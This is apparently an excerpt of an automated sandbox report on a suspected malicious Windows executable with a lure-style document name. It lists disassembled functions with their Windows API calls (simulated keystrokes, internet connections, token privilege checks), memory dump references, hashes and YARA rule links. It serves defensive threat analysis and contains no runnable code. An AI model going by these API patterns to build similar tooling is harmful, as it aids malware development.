                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: ErrorLast$__itow__swprintfsocket
                                                • String ID:
                                                • API String ID: 2214342067-0
                                                • Opcode ID: 51e985dccd55dec574de79a52812f57397a6ca6e0ac47ce970db0ae0560c8cc3
                                                • Instruction ID: b854cddbe18823b663c5a630627335d55589df3a134e0d2734f55a42d3dc622d
                                                • Opcode Fuzzy Hash: 51e985dccd55dec574de79a52812f57397a6ca6e0ac47ce970db0ae0560c8cc3
                                                • Instruction Fuzzy Hash: 87418575740200AFEB25BF64DC96F3A77A5DB04B10F48C018FA599B2D2DA719D0187B1
                                                Function 00DF672D Relevance: 6.1, APIs: 4, Instructions: 116COMMON
                                                Download Yara Rule
                                                APIs
                                                • #16.WSOCK32(?,?,00000000,00000000,00000000,00000000,?,?,00000000,00E0F910), ref: 00DF67BA
                                                • _strlen.LIBCMT ref: 00DF67EC
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: _strlen
                                                • String ID:
                                                • API String ID: 4218353326-0
                                                • Opcode ID: 06ef8c647b32072f1d7b37db8caeb55e2e094775dac6c085e92c90ed09fc3445
                                                • Instruction ID: 2ce4679ca957e294cc813632bd2580c40fe6ba4888f07bb40019b9fc50fdd901
                                                • Opcode Fuzzy Hash: 06ef8c647b32072f1d7b37db8caeb55e2e094775dac6c085e92c90ed09fc3445
                                                • Instruction Fuzzy Hash: DD417F35A00108ABCB14FBA4DCD5EBEB7A9EF48350F158169FA159B292DB31ED44CB70
                                                Function 00DEBA5F Relevance: 6.1, APIs: 4, Instructions: 111fileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 00DEBB09
                                                • GetLastError.KERNEL32(?,00000000), ref: 00DEBB2F
                                                • DeleteFileW.KERNEL32(00000002,?,00000000), ref: 00DEBB54
                                                • CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 00DEBB80
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: CreateHardLink$DeleteErrorFileLast
                                                • String ID:
                                                • API String ID: 3321077145-0
                                                • Opcode ID: d13644bd8eeb76023898fa44bd1c24862e812a5da5563f80de452fadfa6aa331
                                                • Instruction ID: 028fd2cfa6166acb03ab9b22c154a319e2a524d4ea325580cc0cbcba5da2344d
                                                • Opcode Fuzzy Hash: d13644bd8eeb76023898fa44bd1c24862e812a5da5563f80de452fadfa6aa331
                                                • Instruction Fuzzy Hash: 39412B39200650DFCF10FF25C594A6DBBE1EF49320B198499E88A9B762CB35FD41CBA1
                                                Function 00E08AC0 Relevance: 6.1, APIs: 4, Instructions: 109COMMON
                                                Download Yara Rule
                                                APIs
                                                • InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00E08B4D
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: InvalidateRect
                                                • String ID:
                                                • API String ID: 634782764-0
                                                • Opcode ID: be6f7b159858bd66e1233d74d93ce5c3108a8ce65cf9f3c723e2b3b3462f7ba7
                                                • Instruction ID: 33ef6d1be104867b18b5efbd6fd509eaf12679019baf51f22448058c2ba9b3d4
                                                • Opcode Fuzzy Hash: be6f7b159858bd66e1233d74d93ce5c3108a8ce65cf9f3c723e2b3b3462f7ba7
                                                • Instruction Fuzzy Hash: 8F31F478600204BFEB209E18DE45FE937A4EB06314F246612FAC1F62E0CE31ADC08F51
                                                Function 00E0ADF1 Relevance: 6.1, APIs: 4, Instructions: 106windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • ClientToScreen.USER32(?,?), ref: 00E0AE1A
                                                • GetWindowRect.USER32(?,?), ref: 00E0AE90
                                                • PtInRect.USER32(?,?,00E0C304), ref: 00E0AEA0
                                                • MessageBeep.USER32(00000000), ref: 00E0AF11
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Rect$BeepClientMessageScreenWindow
                                                • String ID:
                                                • API String ID: 1352109105-0
                                                • Opcode ID: b97a20eb8a039de6af606e622aac984f00b7b0717c5abe2c87205dd76e6018de
                                                • Instruction ID: db88838150d4f64cdce391dfbde64d5db4d87964b94247bb2ce9a64e64a5250c
                                                • Opcode Fuzzy Hash: b97a20eb8a039de6af606e622aac984f00b7b0717c5abe2c87205dd76e6018de
                                                • Instruction Fuzzy Hash: 9741AE74600319DFCB15CF59C884BA97BF5FB4A340F2891B9E854AB291C731A8C6CF92
                                                Function 00DE0FE6 Relevance: 6.1, APIs: 4, Instructions: 105keyboardwindowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetKeyboardState.USER32(?,00000000,?,00000001), ref: 00DE1037
                                                • SetKeyboardState.USER32(00000080,?,00000001), ref: 00DE1053
                                                • PostMessageW.USER32(00000000,00000102,00000001,00000001), ref: 00DE10B9
                                                • SendInput.USER32(00000001,00000000,0000001C,00000000,?,00000001), ref: 00DE110B
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: KeyboardState$InputMessagePostSend
                                                • String ID:
                                                • API String ID: 432972143-0
                                                • Opcode ID: 05be255acf0f858e74eeedf90bb2f071e4c599b64e7aa581073a7b30d325fb09
                                                • Instruction ID: 9f26698f8be82eee197f27c9537c6069626ed504fa972d093e6e5ad0fab298f1
                                                • Opcode Fuzzy Hash: 05be255acf0f858e74eeedf90bb2f071e4c599b64e7aa581073a7b30d325fb09
                                                • Instruction Fuzzy Hash: FF313534F446C8AEFB30AA678C05BFABBA9AB45320F08421AE591521D1C3758DD89771
                                                Function 00DE1121 Relevance: 6.1, APIs: 4, Instructions: 101keyboardwindowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetKeyboardState.USER32(?,75A4C0D0,?,00008000), ref: 00DE1176
                                                • SetKeyboardState.USER32(00000080,?,00008000), ref: 00DE1192
                                                • PostMessageW.USER32(00000000,00000101,00000000), ref: 00DE11F1
                                                • SendInput.USER32(00000001,?,0000001C,75A4C0D0,?,00008000), ref: 00DE1243
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: KeyboardState$InputMessagePostSend
                                                • String ID:
                                                • API String ID: 432972143-0
                                                • Opcode ID: aa5d785a1f606fec1a5e9eb607c2f826bcc3f13d23c7fc372d972076d7158eac
                                                • Instruction ID: 1d59a26e35d2a0eb3b02edac6d772714512b234e9019fe5f9116b7055a563f31
                                                • Opcode Fuzzy Hash: aa5d785a1f606fec1a5e9eb607c2f826bcc3f13d23c7fc372d972076d7158eac
                                                • Instruction Fuzzy Hash: F8316834B403989EEF30AA678C057FE7BAAAB49310F08431AE281921D1C37589948775
                                                Function 00DB6415 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                • _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00DB644B
                                                • __isleadbyte_l.LIBCMT ref: 00DB6479
                                                • MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00DB64A7
                                                • MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00DB64DD
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
                                                • String ID:
                                                • API String ID: 3058430110-0
                                                • Opcode ID: 065921297135fba94cc1c5ec26569313876e535b1a407d4f815a22c7d646f16d
                                                • Instruction ID: d41ac97ebf8814f327ea1a255393faa4bc5b805c515f9e64021d0106463198fc
                                                • Opcode Fuzzy Hash: 065921297135fba94cc1c5ec26569313876e535b1a407d4f815a22c7d646f16d
                                                • Instruction Fuzzy Hash: D131EF3160864AEFDB218F75C844BFA7BA5FF41310F194469F856871A1EB39D890DBB0
                                                Function 00E05175 Relevance: 6.1, APIs: 4, Instructions: 95COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetForegroundWindow.USER32 ref: 00E05189
                                                  • Part of subcall function 00DE387D: GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00DE3897
                                                  • Part of subcall function 00DE387D: GetCurrentThreadId.KERNEL32 ref: 00DE389E
                                                  • Part of subcall function 00DE387D: AttachThreadInput.USER32(00000000,?,00DE52A7), ref: 00DE38A5
                                                • GetCaretPos.USER32(?), ref: 00E0519A
                                                • ClientToScreen.USER32(00000000,?), ref: 00E051D5
                                                • GetForegroundWindow.USER32 ref: 00E051DB
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
                                                • String ID:
                                                • API String ID: 2759813231-0
                                                • Opcode ID: 79462f29cb17da7e8176e1425591c2db0574b29e532e0b283ea1c4dba7d9729a
                                                • Instruction ID: cbb5e063313f973eff220a5b4727c8c2b72a3067289c910df2e730370d08507a
                                                • Opcode Fuzzy Hash: 79462f29cb17da7e8176e1425591c2db0574b29e532e0b283ea1c4dba7d9729a
                                                • Instruction Fuzzy Hash: 8E313872900108AFCB10EFA5C895AEFB7FDEF88304F14406AE456E7241EA759E44CBB0
                                                Function 00E0C788 Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D82612: GetWindowLongW.USER32(?,000000EB), ref: 00D82623
                                                • GetCursorPos.USER32(?), ref: 00E0C7C2
                                                • TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,00DBBBFB,?,?,?,?,?), ref: 00E0C7D7
                                                • GetCursorPos.USER32(?), ref: 00E0C824
                                                • DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,00DBBBFB,?,?,?), ref: 00E0C85E
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Cursor$LongMenuPopupProcTrackWindow
                                                • String ID:
                                                • API String ID: 2864067406-0
                                                • Opcode ID: 36780888dd59f137e8778e731d7030253ea88b52e9405a7745507909b1b4eb4f
                                                • Instruction ID: 43cd3bcde2ce2841bf676333982b4d65b071ef67a9fd389551a794b6f6311691
                                                • Opcode Fuzzy Hash: 36780888dd59f137e8778e731d7030253ea88b52e9405a7745507909b1b4eb4f
                                                • Instruction Fuzzy Hash: 1E31E635500018AFCB29CF59CC98EEA7BB5EB0A310F144165F905A72A1D7316D91DF74
                                                Function 00DA0BD0 Relevance: 6.1, APIs: 4, Instructions: 79COMMON
                                                Download Yara Rule
                                                APIs
                                                • __setmode.LIBCMT ref: 00DA0BF2
                                                  • Part of subcall function 00D85B75: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00DE7B20,?,?,00000000), ref: 00D85B8C
                                                  • Part of subcall function 00D85B75: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00DE7B20,?,?,00000000,?,?), ref: 00D85BB0
                                                • _fprintf.LIBCMT ref: 00DA0C29
                                                • OutputDebugStringW.KERNEL32(?), ref: 00DD6331
                                                  • Part of subcall function 00DA4CDA: _flsall.LIBCMT ref: 00DA4CF3
                                                • __setmode.LIBCMT ref: 00DA0C5E
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: ByteCharMultiWide__setmode$DebugOutputString_flsall_fprintf
                                                • String ID:
                                                • API String ID: 521402451-0
                                                • Opcode ID: ab3334fb12bccdfd6937d408fd2d19aaff62f920ada97e24f859210c1d2b46d4
                                                • Instruction ID: f8a613495da410b73c619c7e3826128e733dc90bff334cd872dad1838662f1b4
                                                • Opcode Fuzzy Hash: ab3334fb12bccdfd6937d408fd2d19aaff62f920ada97e24f859210c1d2b46d4
                                                • Instruction Fuzzy Hash: FD1129329042047FCB04B7B5AC479BEBB69DF86320F18015AF208671D2DFA19D969BF5
                                                Function 00DD8B9E Relevance: 6.1, APIs: 4, Instructions: 79memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00DD8652: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00DD8669
                                                  • Part of subcall function 00DD8652: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00DD8673
                                                  • Part of subcall function 00DD8652: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00DD8682
                                                  • Part of subcall function 00DD8652: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00DD8689
                                                  • Part of subcall function 00DD8652: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00DD869F
                                                • LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00DD8BEB
                                                • _memcmp.LIBCMT ref: 00DD8C0E
                                                • GetProcessHeap.KERNEL32(00000000,00000000), ref: 00DD8C44
                                                • HeapFree.KERNEL32(00000000), ref: 00DD8C4B
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
                                                • String ID:
                                                • API String ID: 1592001646-0
                                                • Opcode ID: 619a8324101f31b3eb8cf91d79ed357553271f94b575bdda371b68f1bf0771fb
                                                • Instruction ID: fd1460662803eb6ae89f8054b3cadf2cade3cbf463e97f16819edadae2cdc94a
                                                • Opcode Fuzzy Hash: 619a8324101f31b3eb8cf91d79ed357553271f94b575bdda371b68f1bf0771fb
                                                • Instruction Fuzzy Hash: 97219C71E11208EFDB11DFA8C944BEEB7B8EF40350F08409AE454A7240EB31AA46DB70
                                                Function 00DF1A5B Relevance: 6.1, APIs: 4, Instructions: 78networkCOMMON
                                                Download Yara Rule
                                                APIs
                                                • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00DF1A97
                                                  • Part of subcall function 00DF1B21: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00DF1B40
                                                  • Part of subcall function 00DF1B21: InternetCloseHandle.WININET(00000000), ref: 00DF1BDD
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Internet$CloseConnectHandleOpen
                                                • String ID:
                                                • API String ID: 1463438336-0
                                                • Opcode ID: 499bf3b34715c286618f681e1c7e35bd728bd7a634a5a8365535eeac8325045e
                                                • Instruction ID: 648fed2621d0f1ae92547382daa7f70643ed32d41d8518d60731e429edcfd607
                                                • Opcode Fuzzy Hash: 499bf3b34715c286618f681e1c7e35bd728bd7a634a5a8365535eeac8325045e
                                                • Instruction Fuzzy Hash: 2C21C239200609FFDB119F608C00FBAB7A9FF45700F1A801AFB51A6650E771D8259BB1
                                                Function 00DDE1AF Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68stringCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00DDF5AD: lstrlenW.KERNEL32(?,00000002,?,?,000000EF,?,00DDE1C4,?,?,?,00DDEFB7,00000000,000000EF,00000119,?,?), ref: 00DDF5BC
                                                  • Part of subcall function 00DDF5AD: lstrcpyW.KERNEL32(00000000,?), ref: 00DDF5E2
                                                  • Part of subcall function 00DDF5AD: lstrcmpiW.KERNEL32(00000000,?,00DDE1C4,?,?,?,00DDEFB7,00000000,000000EF,00000119,?,?), ref: 00DDF613
                                                • lstrlenW.KERNEL32(?,00000002,?,?,?,?,00DDEFB7,00000000,000000EF,00000119,?,?,00000000), ref: 00DDE1DD
                                                • lstrcpyW.KERNEL32(00000000,?), ref: 00DDE203
                                                • lstrcmpiW.KERNEL32(00000002,cdecl,?,00DDEFB7,00000000,000000EF,00000119,?,?,00000000), ref: 00DDE237
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: lstrcmpilstrcpylstrlen
                                                • String ID: cdecl
                                                • API String ID: 4031866154-3896280584
                                                • Opcode ID: e596bb3fb457be190028610708dc8d99bbe2473ab30d9f63cb89aeecf5876934
                                                • Instruction ID: 8ac7264d66dbbb1891a6e09efb9dafed59c1358d52299af68e1679cffa5acc93
                                                • Opcode Fuzzy Hash: e596bb3fb457be190028610708dc8d99bbe2473ab30d9f63cb89aeecf5876934
                                                • Instruction Fuzzy Hash: E5117C3A200345EFCB25AF64DC4597A7BB8FF89350B44412AE816CB2A0EB71A85197B4
                                                Function 00DB5332 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                • _free.LIBCMT ref: 00DB5351
                                                  • Part of subcall function 00DA594C: __FF_MSGBANNER.LIBCMT ref: 00DA5963
                                                  • Part of subcall function 00DA594C: __NMSG_WRITE.LIBCMT ref: 00DA596A
                                                  • Part of subcall function 00DA594C: RtlAllocateHeap.NTDLL(01930000,00000000,00000001,00000000,?,?,?,00DA1013,?), ref: 00DA598F
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: AllocateHeap_free
                                                • String ID:
                                                • API String ID: 614378929-0
                                                • Opcode ID: 6344e0ae27bd5bf54651ef39ce0625c8ad363b0b5c401cabba875cbb4efd9753
                                                • Instruction ID: 2aaf8f4ed66c4169410ef037ab4adc142463c0844cce10563f58b18a93a198a5
                                                • Opcode Fuzzy Hash: 6344e0ae27bd5bf54651ef39ce0625c8ad363b0b5c401cabba875cbb4efd9753
                                                • Instruction Fuzzy Hash: 4E11C432904A15EECF313F75B80579D37D4DF163A0B240429FA46AA391DFB6C9519770
                                                Function 00D84531 Relevance: 6.1, APIs: 4, Instructions: 66timewindowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 00D84560
                                                  • Part of subcall function 00D8410D: _memset.LIBCMT ref: 00D8418D
                                                  • Part of subcall function 00D8410D: _wcscpy.LIBCMT ref: 00D841E1
                                                  • Part of subcall function 00D8410D: Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00D841F1
                                                • KillTimer.USER32(?,00000001,?,?), ref: 00D845B5
